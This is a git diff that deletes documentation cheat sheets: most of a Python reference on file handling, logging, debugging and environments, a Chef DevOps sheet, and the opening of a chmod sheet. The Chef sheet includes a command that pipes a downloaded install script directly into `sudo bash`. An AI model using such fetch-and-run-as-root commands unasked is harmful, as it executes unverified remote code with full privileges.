->>> import shutil, os
-
->>> os.chdir('C:\\')
-
->>> shutil.copytree('C:\\bacon', 'C:\\bacon_backup')
-'C:\\bacon_backup'
-```
-
-_Return to the Top_
-
-### Moving and Renaming Files and Folders
-
-```python
->>> import shutil
->>> shutil.move('C:\\bacon.txt', 'C:\\eggs')
-'C:\\eggs\\bacon.txt'
-```
-
-The destination path can also specify a filename. In the following example, the source file is moved and renamed:
-
-```python
->>> shutil.move('C:\\bacon.txt', 'C:\\eggs\\new_bacon.txt')
-'C:\\eggs\\new_bacon.txt'
-```
-
-If there is no eggs folder, then move() will rename bacon.txt to a file named eggs.
-
-```python
->>> shutil.move('C:\\bacon.txt', 'C:\\eggs')
-'C:\\eggs'
-```
-
-_Return to the Top_
-
-### Permanently Deleting Files and Folders
-
--   Calling os.unlink(path) or Path.unlink() will delete the file at path.
--   Calling os.rmdir(path) or Path.rmdir() will delete the folder at path. This folder must be empty of any files or folders.
--   Calling shutil.rmtree(path) will remove the folder at path, and all files and folders it contains will also be deleted.
-
-_Return to the Top_
-
-### Safe Deletes with the send2trash Module
-
-You can install this module by running pip install send2trash from a Terminal window.
-
-```python
->>> import send2trash
-
->>> with open('bacon.txt', 'a') as bacon_file: # creates the file
-...     bacon_file.write('Bacon is not a vegetable.')
-25
-
->>> send2trash.send2trash('bacon.txt')
-```
-
-_Return to the Top_
-
-### Walking a Directory Tree
-
-```python
->>> import os
->>>
->>> for folder_name, subfolders, filenames in os.walk('C:\\delicious'):
->>>     print('The current folder is {}'.format(folder_name))
->>>
->>>     for subfolder in subfolders:
->>>         print('SUBFOLDER OF {}: {}'.format(folder_name, subfolder))
->>>     for filename in filenames:
->>>         print('FILE INSIDE {}: {}'.format(folder_name, filename))
->>>
->>>     print('')
-The current folder is C:\delicious
-SUBFOLDER OF C:\delicious: cats
-SUBFOLDER OF C:\delicious: walnut
-FILE INSIDE C:\delicious: spam.txt
-
-The current folder is C:\delicious\cats
-FILE INSIDE C:\delicious\cats: catnames.txt
-FILE INSIDE C:\delicious\cats: zophie.jpg
-
-The current folder is C:\delicious\walnut
-SUBFOLDER OF C:\delicious\walnut: waffles
-
-The current folder is C:\delicious\walnut\waffles
-FILE INSIDE C:\delicious\walnut\waffles: butter.txt
-```
-
-_Return to the Top_
-
-`pathlib` provides a lot more functionality than the ones listed above, like getting file name, getting file extension, reading/writing a file without manually opening it, etc. Check out the [official documentation](https://docs.python.org/3/library/pathlib.html) if you want to know more!
-
-## Reading and Writing Files
-
-### The File Reading/Writing Process
-
-To read/write to a file in Python, you will want to use the `with` statement, which will close the file for you after you are done.
-
-_Return to the Top_
-
-### Opening and reading files with the open() function
-
-```python
->>> with open('C:\\Users\\your_home_folder\\hello.txt') as hello_file:
-...     hello_content = hello_file.read()
->>> hello_content
-'Hello World!'
-
->>> # Alternatively, you can use the *readlines()* method to get a list of string values from the file, one string for each line of text:
-
->>> with open('sonnet29.txt') as sonnet_file:
-...     sonnet_file.readlines()
-[When, in disgrace with fortune and men's eyes,\n', ' I all alone beweep my
-outcast state,\n', And trouble deaf heaven with my bootless cries,\n', And
-look upon myself and curse my fate,']
-
->>> # You can also iterate through the file line by line:
->>> with open('sonnet29.txt') as sonnet_file:
-...     for line in sonnet_file: # note the new line character will be included in the line
-...         print(line, end='')
-
-When, in disgrace with fortune and men's eyes,
-I all alone beweep my outcast state,
-And trouble deaf heaven with my bootless cries,
-And look upon myself and curse my fate,
-```
-
-_Return to the Top_
-
-### Writing to Files
-
-```python
->>> with open('bacon.txt', 'w') as bacon_file:
-...     bacon_file.write('Hello world!\n')
-13
-
->>> with open('bacon.txt', 'a') as bacon_file:
-...     bacon_file.write('Bacon is not a vegetable.')
-25
-
->>> with open('bacon.txt') as bacon_file:
-...     content = bacon_file.read()
-
->>> print(content)
-Hello world!
-Bacon is not a vegetable.
-```
-
-_Return to the Top_
-
-### Saving Variables with the shelve Module
-
-To save variables:
-
-```python
->>> import shelve
-
->>> cats = ['Zophie', 'Pooka', 'Simon']
->>> with shelve.open('mydata') as shelf_file:
-...     shelf_file['cats'] = cats
-```
-
-To open and read variables:
-
-```python
->>> with shelve.open('mydata') as shelf_file:
-...     print(type(shelf_file))
-...     print(shelf_file['cats'])
-<class 'shelve.DbfilenameShelf'>
-['Zophie', 'Pooka', 'Simon']
-```
-
-Just like dictionaries, shelf values have keys() and values() methods that will return list-like values of the keys and values in the shelf. Since these methods return list-like values instead of true lists, you should pass them to the list() function to get them in list form.
-
-```python
->>> with shelve.open('mydata') as shelf_file:
-...     print(list(shelf_file.keys()))
-...     print(list(shelf_file.values()))
-['cats']
-[['Zophie', 'Pooka', 'Simon']]
-```
-
-_Return to the Top_
-
-### Saving Variables with the pprint.pformat() Function
-
-```python
->>> import pprint
-
->>> cats = [{'name': 'Zophie', 'desc': 'chubby'}, {'name': 'Pooka', 'desc': 'fluffy'}]
-
->>> pprint.pformat(cats)
-"[{'desc': 'chubby', 'name': 'Zophie'}, {'desc': 'fluffy', 'name': 'Pooka'}]"
-
->>> with open('myCats.py', 'w') as file_obj:
-...     file_obj.write('cats = {}\n'.format(pprint.pformat(cats)))
-83
-```
-
-_Return to the Top_
-
-### Reading ZIP Files
-
-```python
->>> import zipfile, os
-
->>> os.chdir('C:\\')    # move to the folder with example.zip
->>> with zipfile.ZipFile('example.zip') as example_zip:
-...     print(example_zip.namelist())
-...     spam_info = example_zip.getinfo('spam.txt')
-...     print(spam_info.file_size)
-...     print(spam_info.compress_size)
-...     print('Compressed file is %sx smaller!' % (round(spam_info.file_size / spam_info.compress_size, 2)))
-
-['spam.txt', 'cats/', 'cats/catnames.txt', 'cats/zophie.jpg']
-13908
-3828
-'Compressed file is 3.63x smaller!'
-```
-
-_Return to the Top_
-
-### Extracting from ZIP Files
-
-The extractall() method for ZipFile objects extracts all the files and folders from a ZIP file into the current working directory.
-
-```python
->>> import zipfile, os
-
->>> os.chdir('C:\\')    # move to the folder with example.zip
-
->>> with zipfile.ZipFile('example.zip') as example_zip:
-...     example_zip.extractall()
-```
-
-The extract() method for ZipFile objects will extract a single file from the ZIP file. Continue the interactive shell example:
-
-```python
->>> with zipfile.ZipFile('example.zip') as example_zip:
-...     print(example_zip.extract('spam.txt'))
-...     print(example_zip.extract('spam.txt', 'C:\\some\\new\\folders'))
-'C:\\spam.txt'
-'C:\\some\\new\\folders\\spam.txt'
-```
-
-_Return to the Top_
-
-### Creating and Adding to ZIP Files
-
-```python
->>> import zipfile
-
->>> with zipfile.ZipFile('new.zip', 'w') as new_zip:
-...     new_zip.write('spam.txt', compress_type=zipfile.ZIP_DEFLATED)
-```
-
-This code will create a new ZIP file named new.zip that has the compressed contents of spam.txt.
-
-_Return to the Top_
-
-## JSON, YAML and configuration files
-
-### JSON
-
-Open a JSON file with:
-
-```python
-import json
-with open("filename.json", "r") as f:
-    content = json.loads(f.read())
-```
-
-Write a JSON file with:
-
-```python
-import json
-
-content = {"name": "Joe", "age": 20}
-with open("filename.json", "w") as f:
-    f.write(json.dumps(content, indent=2))
-```
-
-_Return to the Top_
-
-### YAML
-
-Compared to JSON, YAML allows for much better human maintainability and gives you the option to add comments. It is a convenient choice for configuration files where humans will have to edit it.
-
-There are two main libraries allowing to access to YAML files:
-
--   [PyYaml](https://pypi.python.org/pypi/PyYAML)
--   [Ruamel.yaml](https://pypi.python.org/pypi/ruamel.yaml)
-
-Install them using `pip install` in your virtual environment.
-
-The first one it easier to use but the second one, Ruamel, implements much better the YAML specification, and allow for example to modify a YAML content without altering comments.
-
-Open a YAML file with:
-
-```python
-from ruamel.yaml import YAML
-
-with open("filename.yaml") as f:
-    yaml=YAML()
-    yaml.load(f)
-```
-
-_Return to the Top_
-
-### Anyconfig
-
-[Anyconfig](https://pypi.python.org/pypi/anyconfig) is a very handy package allowing to abstract completely the underlying configuration file format. It allows to load a Python dictionary from JSON, YAML, TOML, and so on.
-
-Install it with:
-
-```bash
-pip install anyconfig
-```
-
-Usage:
-
-```python
-import anyconfig
-
-conf1 = anyconfig.load("/path/to/foo/conf.d/a.yml")
-```
-
-_Return to the Top_
-
-## Debugging
-
-### Raising Exceptions
-
-Exceptions are raised with a raise statement. In code, a raise statement consists of the following:
-
--   The raise keyword
--   A call to the Exception() function
--   A string with a helpful error message passed to the Exception() function
-
-```python
->>> raise Exception('This is the error message.')
-Traceback (most recent call last):
-  File "<pyshell#191>", line 1, in <module>
-    raise Exception('This is the error message.')
-Exception: This is the error message.
-```
-
-Often it's the code that calls the function, not the function itself, that knows how to handle an exception. So you will commonly see a raise statement inside a function and the try and except statements in the code calling the function.
-
-```python
-def box_print(symbol, width, height):
-    if len(symbol) != 1:
-      raise Exception('Symbol must be a single character string.')
-    if width <= 2:
-      raise Exception('Width must be greater than 2.')
-    if height <= 2:
-      raise Exception('Height must be greater than 2.')
-    print(symbol * width)
-    for i in range(height - 2):
-        print(symbol + (' ' * (width - 2)) + symbol)
-    print(symbol * width)
-for sym, w, h in (('*', 4, 4), ('O', 20, 5), ('x', 1, 3), ('ZZ', 3, 3)):
-    try:
-        box_print(sym, w, h)
-    except Exception as err:
-        print('An exception happened: ' + str(err))
-```
-
-_Return to the Top_
-
-### Getting the Traceback as a String
-
-The traceback is displayed by Python whenever a raised exception goes unhandled. But can also obtain it as a string by calling traceback.format_exc(). This function is useful if you want the information from an exception's traceback but also want an except statement to gracefully handle the exception. You will need to import Python's traceback module before calling this function.
-
-```python
->>> import traceback
-
->>> try:
->>>      raise Exception('This is the error message.')
->>> except:
->>>      with open('errorInfo.txt', 'w') as error_file:
->>>          error_file.write(traceback.format_exc())
->>>      print('The traceback info was written to errorInfo.txt.')
-116
-The traceback info was written to errorInfo.txt.
-```
-
-The 116 is the return value from the write() method, since 116 characters were written to the file. The traceback text was written to errorInfo.txt.
-
-```
-Traceback (most recent call last):
-  File "<pyshell#28>", line 2, in <module>
-Exception: This is the error message.
-```
-
-_Return to the Top_
-
-### Assertions
-
-An assertion is a sanity check to make sure your code isn't doing something obviously wrong. These sanity checks are performed by assert statements. If the sanity check fails, then an AssertionError exception is raised. In code, an assert statement consists of the following:
-
--   The assert keyword
--   A condition (that is, an expression that evaluates to True or False)
--   A comma
--   A string to display when the condition is False
-
-```python
->>> pod_bay_door_status = 'open'
-
->>> assert pod_bay_door_status == 'open', 'The pod bay doors need to be "open".'
-
->>> pod_bay_door_status = 'I\'m sorry, Dave. I\'m afraid I can\'t do that.'
-
->>> assert pod_bay_door_status == 'open', 'The pod bay doors need to be "open".'
-
-Traceback (most recent call last):
-  File "<pyshell#10>", line 1, in <module>
-    assert pod_bay_door_status == 'open', 'The pod bay doors need to be "open".'
-AssertionError: The pod bay doors need to be "open".
-```
-
-In plain English, an assert statement says, "I assert that this condition holds true, and if not, there is a bug somewhere in the program." Unlike exceptions, your code should not handle assert statements with try and except; if an assert fails, your program should crash. By failing fast like this, you shorten the time between the original cause of the bug and when you first notice the bug. This will reduce the amount of code you will have to check before finding the code that's causing the bug.
-
-Disabling Assertions
-
-Assertions can be disabled by passing the -O option when running Python.
-
-_Return to the Top_
-
-### Logging
-
-To enable the logging module to display log messages on your screen as your program runs, copy the following to the top of your program (but under the #! python shebang line):
-
-```python
-import logging
-
-logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s- %(message)s')
-```
-
-Say you wrote a function to calculate the factorial of a number. In mathematics, factorial 4 is 1 × 2 × 3 × 4, or 24. Factorial 7 is 1 × 2 × 3 × 4 × 5 × 6 × 7, or 5,040. Open a new file editor window and enter the following code. It has a bug in it, but you will also enter several log messages to help yourself figure out what is going wrong. Save the program as factorialLog.py.
-
-```python
->>> import logging
->>>
->>> logging.basicConfig(level=logging.DEBUG, format=' %(asctime)s - %(levelname)s- %(message)s')
->>>
->>> logging.debug('Start of program')
->>>
->>> def factorial(n):
->>>
->>>     logging.debug('Start of factorial(%s)' % (n))
->>>     total = 1
->>>
->>>     for i in range(1, n + 1):
->>>         total *= i
->>>         logging.debug('i is ' + str(i) + ', total is ' + str(total))
->>>
->>>     logging.debug('End of factorial(%s)' % (n))
->>>
->>>     return total
->>>
->>> print(factorial(5))
->>> logging.debug('End of program')
-2015-05-23 16:20:12,664 - DEBUG - Start of program
-2015-05-23 16:20:12,664 - DEBUG - Start of factorial(5)
-2015-05-23 16:20:12,665 - DEBUG - i is 0, total is 0
-2015-05-23 16:20:12,668 - DEBUG - i is 1, total is 0
-2015-05-23 16:20:12,670 - DEBUG - i is 2, total is 0
-2015-05-23 16:20:12,673 - DEBUG - i is 3, total is 0
-2015-05-23 16:20:12,675 - DEBUG - i is 4, total is 0
-2015-05-23 16:20:12,678 - DEBUG - i is 5, total is 0
-2015-05-23 16:20:12,680 - DEBUG - End of factorial(5)
-0
-2015-05-23 16:20:12,684 - DEBUG - End of program
-```
-
-_Return to the Top_
-
-### Logging Levels
-
-Logging levels provide a way to categorize your log messages by importance. There are five logging levels, described in Table 10-1 from least to most important. Messages can be logged at each level using a different logging function.
-
-| Level      | Logging Function     | Description                                                                                                                    |
-| ---------- | -------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
-| `DEBUG`    | `logging.debug()`    | The lowest level. Used for small details. Usually you care about these messages only when diagnosing problems.                 |
-| `INFO`     | `logging.info()`     | Used to record information on general events in your program or confirm that things are working at their point in the program. |
-| `WARNING`  | `logging.warning()`  | Used to indicate a potential problem that doesn't prevent the program from working but might do so in the future.              |
-| `ERROR`    | `logging.error()`    | Used to record an error that caused the program to fail to do something.                                                       |
-| `CRITICAL` | `logging.critical()` | The highest level. Used to indicate a fatal error that has caused or is about to cause the program to stop running entirely.   |
-
-_Return to the Top_
-
-### Disabling Logging
-
-After you've debugged your program, you probably don't want all these log messages cluttering the screen. The logging.disable() function disables these so that you don't have to go into your program and remove all the logging calls by hand.
-
-```python
->>> import logging
-
->>> logging.basicConfig(level=logging.INFO, format=' %(asctime)s -%(levelname)s - %(message)s')
-
->>> logging.critical('Critical error! Critical error!')
-2015-05-22 11:10:48,054 - CRITICAL - Critical error! Critical error!
-
->>> logging.disable(logging.CRITICAL)
-
->>> logging.critical('Critical error! Critical error!')
-
->>> logging.error('Error! Error!')
-```
-
-_Return to the Top_
-
-### Logging to a File
-
-Instead of displaying the log messages to the screen, you can write them to a text file. The logging.basicConfig() function takes a filename keyword argument, like so:
-
-```python
-import logging
-
-logging.basicConfig(filename='myProgramLog.txt', level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
-```
-
-_Return to the Top_
-
-## Lambda Functions
-
-This function:
-
-```python
->>> def add(x, y):
-        return x + y
-
->>> add(5, 3)
-8
-```
-
-Is equivalent to the _lambda_ function:
-
-```python
->>> add = lambda x, y: x + y
->>> add(5, 3)
-8
-```
-
-It's not even need to bind it to a name like add before:
-
-```python
->>> (lambda x, y: x + y)(5, 3)
-8
-```
-
-Like regular nested functions, lambdas also work as lexical closures:
-
-```python
->>> def make_adder(n):
-        return lambda x: x + n
-
->>> plus_3 = make_adder(3)
->>> plus_5 = make_adder(5)
-
->>> plus_3(4)
-7
->>> plus_5(4)
-9
-```
-
-Note: lambda can only evaluate an expression, like a single line of code.
-
-_Return to the Top_
-
-## Ternary Conditional Operator
-
-Many programming languages have a ternary operator, which define a conditional expression. The most common usage is to make a terse simple conditional assignment statement. In other words, it offers one-line code to evaluate the first expression if the condition is true, otherwise it evaluates the second expression.
-
-```
-<expression1> if <condition> else <expression2>
-```
-
-Example:
-
-```python
->>> age = 15
-
->>> print('kid' if age < 18 else 'adult')
-kid
-```
-
-Ternary operators can be chained:
-
-```python
->>> age = 15
-
->>> print('kid' if age < 13 else 'teenager' if age < 18 else 'adult')
-teenager
-```
-
-The code above is equivalent to:
-
-```python
-if age < 18:
-    if age < 13:
-        print('kid')
-    else:
-        print('teenager')
-else:
-    print('adult')
-```
-
-_Return to the Top_
-
-## args and kwargs
-
-The names `args and kwargs` are arbitrary - the important thing are the `*` and `**` operators. They can mean:
-
-1. In a function declaration, `*` means "pack all remaining positional arguments into a tuple named `<name>`", while `**` is the same for keyword arguments (except it uses a dictionary, not a tuple).
-2. In a function call, `*` means "unpack tuple or list named `<name>` to positional arguments at this position", while `**` is the same for keyword arguments.
-
-For example you can make a function that you can use to call any other function, no matter what parameters it has:
-
-```python
-def forward(f, *args, **kwargs):
-    return f(*args, **kwargs)
-```
-
-Inside forward, args is a tuple (of all positional arguments except the first one, because we specified it - the f), kwargs is a dict. Then we call f and unpack them so they become normal arguments to f.
-
-You use `*args` when you have an indefinite amount of positional arguments.
-
-```python
->>> def fruits(*args):
->>>    for fruit in args:
->>>       print(fruit)
-
->>> fruits("apples", "bananas", "grapes")
-
-"apples"
-"bananas"
-"grapes"
-```
-
-Similarly, you use `**kwargs` when you have an indefinite number of keyword arguments.
-
-```python
->>> def fruit(**kwargs):
->>>    for key, value in kwargs.items():
->>>        print("{0}: {1}".format(key, value))
-
->>> fruit(name = "apple", color = "red")
-
-name: apple
-color: red
-```
-
-```python
->>> def show(arg1, arg2, *args, kwarg1=None, kwarg2=None, **kwargs):
->>>   print(arg1)
->>>   print(arg2)
->>>   print(args)
->>>   print(kwarg1)
->>>   print(kwarg2)
->>>   print(kwargs)
-
->>> data1 = [1,2,3]
->>> data2 = [4,5,6]
->>> data3 = {'a':7,'b':8,'c':9}
-
->>> show(*data1,*data2, kwarg1="python",kwarg2="cheatsheet",**data3)
-1
-2
-(3, 4, 5, 6)
-python
-cheatsheet
-{'a': 7, 'b': 8, 'c': 9}
-
->>> show(*data1, *data2, **data3)
-1
-2
-(3, 4, 5, 6)
-None
-None
-{'a': 7, 'b': 8, 'c': 9}
-
-# If you do not specify ** for kwargs
->>> show(*data1, *data2, *data3)
-1
-2
-(3, 4, 5, 6, "a", "b", "c")
-None
-None
-{}
-```
-
-### Things to Remember(args)
-
-1. Functions can accept a variable number of positional arguments by using `*args` in the def statement.
-2. You can use the items from a sequence as the positional arguments for a function with the `*` operator.
-3. Using the `*` operator with a generator may cause your program to run out of memory and crash.
-4. Adding new positional parameters to functions that accept `*args` can introduce hard-to-find bugs.
-
-### Things to Remember(kwargs)
-
-1. Function arguments can be specified by position or by keyword.
-2. Keywords make it clear what the purpose of each argument is when it would be confusing with only positional arguments.
-3. Keyword arguments with default values make it easy to add new behaviors to a function, especially when the function has existing callers.
-4. Optional keyword arguments should always be passed by keyword instead of by position.
-
-_Return to the Top_
-
-## Context Manager
-
-While Python's context managers are widely used, few understand the purpose behind their use. These statements, commonly used with reading and writing files, assist the application in conserving system memory and improve resource management by ensuring specific resources are only in use for certain processes.
-
-### with statement
-
-A context manager is an object that is notified when a context (a block of code) starts and ends. You commonly use one with the with statement. It takes care of the notifying.
-
-For example, file objects are context managers. When a context ends, the file object is closed automatically:
-
-```python
->>> with open(filename) as f:
->>>     file_contents = f.read()
-
-# the open_file object has automatically been closed.
-```
-
-Anything that ends execution of the block causes the context manager's exit method to be called. This includes exceptions, and can be useful when an error causes you to prematurely exit from an open file or connection. Exiting a script without properly closing files/connections is a bad idea, that may cause data loss or other problems. By using a context manager you can ensure that precautions are always taken to prevent damage or loss in this way.
-
-### Writing your own contextmanager using generator syntax
-
-It is also possible to write a context manager using generator syntax thanks to the `contextlib.contextmanager` decorator:
-
-```python
->>> import contextlib
->>> @contextlib.contextmanager
-... def context_manager(num):
-...     print('Enter')
-...     yield num + 1
-...     print('Exit')
->>> with context_manager(2) as cm:
-...     # the following instructions are run when the 'yield' point of the context
-...     # manager is reached.
-...     # 'cm' will have the value that was yielded
-...     print('Right in the middle with cm = {}'.format(cm))
-Enter
-Right in the middle with cm = 3
-Exit
-
->>>
-```
-
-_Return to the Top_
-
-## `__main__` Top-level script environment
-
-`__main__` is the name of the scope in which top-level code executes. A module's **name** is set equal to `__main__` when read from standard input, a script, or from an interactive prompt.
-
-A module can discover whether or not it is running in the main scope by checking its own `__name__`, which allows a common idiom for conditionally executing code in a module when it is run as a script or with `python -m` but not when it is imported:
-
-```python
->>> if __name__ == "__main__":
-...     # execute only if run as a script
-...     main()
-```
-
-For a package, the same effect can be achieved by including a **main**.py module, the contents of which will be executed when the module is run with -m
-
-For example we are developing script which is designed to be used as module, we should do:
-
-```python
->>> # Python program to execute function directly
->>> def add(a, b):
-...     return a+b
-...
->>> add(10, 20) # we can test it by calling the function save it as calculate.py
-30
->>> # Now if we want to use that module by importing we have to comment out our call,
->>> # Instead we can write like this in calculate.py
->>> if __name__ == "__main__":
-...     add(3, 5)
-...
->>> import calculate
->>> calculate.add(3, 5)
-8
-```
-
-### Advantages
-
-1. Every Python module has it's `__name__` defined and if this is `__main__`, it implies that the module is being run standalone by the user and we can do corresponding appropriate actions.
-2. If you import this script as a module in another script, the **name** is set to the name of the script/module.
-3. Python files can act as either reusable modules, or as standalone programs.
-4. if `__name__ == "main":` is used to execute some code only if the file was run directly, and not imported.
-
-_Return to the Top_
-
-## setup.py
-
-The setup script is the centre of all activity in building, distributing, and installing modules using the Distutils. The main purpose of the setup script is to describe your module distribution to the Distutils, so that the various commands that operate on your modules do the right thing.
-
-The `setup.py` file is at the heart of a Python project. It describes all of the metadata about your project. There a quite a few fields you can add to a project to give it a rich set of metadata describing the project. However, there are only three required fields: name, version, and packages. The name field must be unique if you wish to publish your package on the Python Package Index (PyPI). The version field keeps track of different releases of the project. The packages field describes where you've put the Python source code within your project.
-
-This allows you to easily install Python packages. Often it's enough to write:
-
-```bash
-python setup.py install
-```
-
-and module will install itself.
-
-Our initial setup.py will also include information about the license and will re-use the README.txt file for the long_description field. This will look like:
-
-```python
->>> from distutils.core import setup
->>> setup(
-...    name='pythonCheatsheet',
-...    version='0.1',
-...    packages=['pipenv',],
-...    license='MIT',
-...    long_description=open('README.txt').read(),
-... )
-```
-
-Find more information visit [http://docs.python.org/install/index.html](http://docs.python.org/install/index.html).
-
-_Return to the Top_
-
-## Dataclasses
-
-`Dataclasses` are python classes but are suited for storing data objects. This module provides a decorator and functions for automatically adding generated special methods such as `__init__()` and `__repr__()` to user-defined classes.
-
-### Features
-
-1. They store data and represent a certain data type. Ex: A number. For people familiar with ORMs, a model instance is a data object. It represents a specific kind of entity. It holds attributes that define or represent the entity.
-2. They can be compared to other objects of the same type. Ex: A number can be greater than, less than, or equal to another number.
-
-Python 3.7 provides a decorator dataclass that is used to convert a class into a dataclass.
-
-python 2.7
-
-```python
->>> class Number:
-...     def __init__(self, val):
-...         self.val = val
-...
->>> obj = Number(2)
->>> obj.val
-2
-```
-
-with dataclass
-
-```python
->>> @dataclass
-... class Number:
-...     val: int
-...
->>> obj = Number(2)
->>> obj.val
-2
-```
-
-_Return to the Top_
-
-### Default values
-
-It is easy to add default values to the fields of your data class.
-
-```python
->>> @dataclass
-... class Product:
-...     name: str
-...     count: int = 0
-...     price: float = 0.0
-...
->>> obj = Product("Python")
->>> obj.name
-Python
->>> obj.count
-0
->>> obj.price
-0.0
-```
-
-### Type hints
-
-It is mandatory to define the data type in dataclass. However, If you don't want specify the datatype then, use `typing.Any`.
-
-```python
->>> from dataclasses import dataclass
->>> from typing import Any
-
->>> @dataclass
-... class WithoutExplicitTypes:
-...    name: Any
-...    value: Any = 42
-...
-```
-
-_Return to the Top_
-
-## Virtual Environment
-
-The use of a Virtual Environment is to test python code in encapsulated environments and to also avoid filling the base Python installation with libraries we might use for only one project.
-
-_Return to the Top_
-
-### virtualenv
-
-1.  Install virtualenv
-
-    ```
-    pip install virtualenv
-    ```
-
-2.  Install virtualenvwrapper-win (Windows)
-
-    ```
-    pip install virtualenvwrapper-win
-    ```
-
-Usage:
-
-1.  Make a Virtual Environment
-
-    ```
-    mkvirtualenv HelloWold
-    ```
-
-    Anything we install now will be specific to this project. And available to the projects we connect to this environment.
-
-2.  Set Project Directory
-
-    To bind our virtualenv with our current working directory we simply enter:
-
-    ```
-    setprojectdir .
-    ```
-
-3.  Deactivate
-
-    To move onto something else in the command line type ‘deactivate' to deactivate your environment.
-
-    ```
-    deactivate
-    ```
-
-    Notice how the parenthesis disappear.
-
-4.  Workon
-
-    Open up the command prompt and type ‘workon HelloWold' to activate the environment and move into your root project folder
-
-    ```
-    workon HelloWold
-    ```
-
-_Return to the Top_
-
-### poetry
-
-> [Poetry](https://poetry.eustace.io) is a tool for dependency management and packaging in Python. It allows you to declare the libraries your project depends on and it will manage (install/update) them for you.
-
-1.  Install Poetry
-
-    ```
-    pip install --user poetry
-    ```
-
-2.  Create a new project
-
-    ```
-    poetry new my-project
-    ```
-
-    This will create a my-project directory:
-
-    ```
-    my-project
-    ├── pyproject.toml
-    ├── README.rst
-    ├── poetry_demo
-    │   └── __init__.py
-    └── tests
-        ├── __init__.py
-        └── test_poetry_demo.py
-    ```
-
-    The pyproject.toml file will orchestrate your project and its dependencies:
-
-    ```
-    [tool.poetry]
-    name = "my-project"
-    version = "0.1.0"
-    description = ""
-    authors = ["your name <your@mail.com>"]
-
-    [tool.poetry.dependencies]
-    python = "*"
-
-    [tool.poetry.dev-dependencies]
-    pytest = "^3.4"
-    ```
-
-3.  Packages
-
-    To add dependencies to your project, you can specify them in the tool.poetry.dependencies section:
-
-    ```
-    [tool.poetry.dependencies]
-    pendulum = "^1.4"
-    ```
-
-    Also, instead of modifying the pyproject.toml file by hand, you can use the add command and it will automatically find a suitable version constraint.
-
-    ```
-    $ poetry add pendulum
-    ```
-
-    To install the dependencies listed in the pyproject.toml:
-
-    ```
-    poetry install
-    ```
-
-    To remove dependencies:
-
-    ```
-    poetry remove pendulum
-    ```
-
-For more information, check the [documentation](https://poetry.eustace.io/docs/).
-
-_Return to the Top_
-
-### pipenv
-
-> [Pipenv](https://pipenv.readthedocs.io/en/latest/) is a tool that aims to bring the best of all packaging worlds (bundler, composer, npm, cargo, yarn, etc.) to the Python world. Windows is a first-class citizen, in our world.
-
-1.  Install pipenv
-
-    ```
-    pip install pipenv
-    ```
-
-2.  Enter your Project directory and install the Packages for your project
-
-    ```
-    cd my_project
-    pipenv install <package>
-    ```
-
-    Pipenv will install your package and create a Pipfile for you in your project's directory. The Pipfile is used to track which dependencies your project needs in case you need to re-install them.
-
-3.  Uninstall Packages
-
-    ```
-    pipenv uninstall <package>
-    ```
-
-4.  Activate the Virtual Environment associated with your Python project
-
-    ```
-    pipenv shell
-    ```
-
-5.  Exit the Virtual Environment
-
-    ```
-    exit
-    ```
-
-Find more information and a video in [docs.pipenv.org](https://docs.pipenv.org).
-
-_Return to the Top_
-
-### anaconda
-
-[Anaconda](https://anaconda.org) is another popular tool to manage python packages.
-
-> Where packages, notebooks, projects and environments are shared. Your place for free public conda package hosting.
-
-Usage:
-
-1.  Make a Virtual Environment
-
-    ```
-    conda create -n HelloWorld
-    ```
-
-2.  To use the Virtual Environment, activate it by:
-
-    ```
-    conda activate HelloWorld
-    ```
-
-    Anything installed now will be specific to the project HelloWorld
-
-3.  Exit the Virtual Environment
-
-    ```
-    conda deactivate
-    ```
-
-_Return to the Top_
-
-```
-
-```
diff --git a/docs/content/cheat-sheets/chef.md b/docs/content/cheat-sheets/chef.md
deleted file mode 100644
index 17ab2343a1..0000000000
--- a/docs/content/cheat-sheets/chef.md
+++ /dev/null
@@ -1,126 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Chef
-category: Devops
-
----
-
-### Install
-
-In your server:
-{: .-setup}
-
-```bash
-$ sudo apt-get install curl
-```
-
-```bash
-$ curl -L https://omnitruck.chef.io/install.sh | sudo bash
-Thank you for installing Chef!
-```
-
-```bash
-$ chef-solo -v
-...
-Chef: 14.5.33
-```
-
-### Start the cookbook
-
-```bash
- wget http://github.com/chef-cookbooks/chef-repo/tarball/master -O - | tar xzf - --strip-components=1
-```
-
-### Knife
-
-```bash
-$ knife supermarket download mysql
-```
-
-### Invoking chef-solo
-
-```bash
-$ chef-solo -c solo.rb -j web.json
-```
-
-## Examples
-
-### Simple compile-from-source
-
-```ruby
-execute "tar --no-same-owner -zxf hi.tar.gz" do
-  cwd "/usr/local/src"
-  creates "/usr/local/src/node-v#{version}"
-end
-```
-
-```ruby
-bash "compile" do
-  cwd "/usr/local/src/node-v#{version}"
-  code %[
-    PATH=/usr/local/bin:$PATH
-    ./configure
-    make
-  ]
-  creates "/usr/local/src/node-v#{version}/node"
-end
-```
-
-### remote file
-
-```ruby
-remote_file "/usr/local/src/hi.tar.gz" do
-  source "http://..."
-  checksum "ab83be..."
-  mode 0644
-  action :create_if_missing
-end
-```
-
-### ruby_block
-
-```ruby
-ruby_block "name" do
-  block { File.read ... }
-  not_if { File.exists?(...) }
-end
-```
-
-### Execute
-
-```ruby
-execute "name" do
-  cwd "..."
-  environment({ "PATH" => "..." })
-  command "make install"
-  creates "..."
-end
-```
-
-### Conditions
-
-```ruby
-  creates "/usr/local/src/node-v#{version}/node"
-  not_if { File.exists?('...') }
-```
-
-## Also see
-
--   [Learn Chef Rally](https://learn.chef.io) _(learn.chef.io)_
--   [install_from_source.rb recipe](https://github.com/mdxp/nodejs-cookbook/blob/master/recipes/install_from_source.rb) _(github.com)_
diff --git a/docs/content/cheat-sheets/chmod.md b/docs/content/cheat-sheets/chmod.md
deleted file mode 100644
index 15ca32cff2..0000000000
--- a/docs/content/cheat-sheets/chmod.md
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
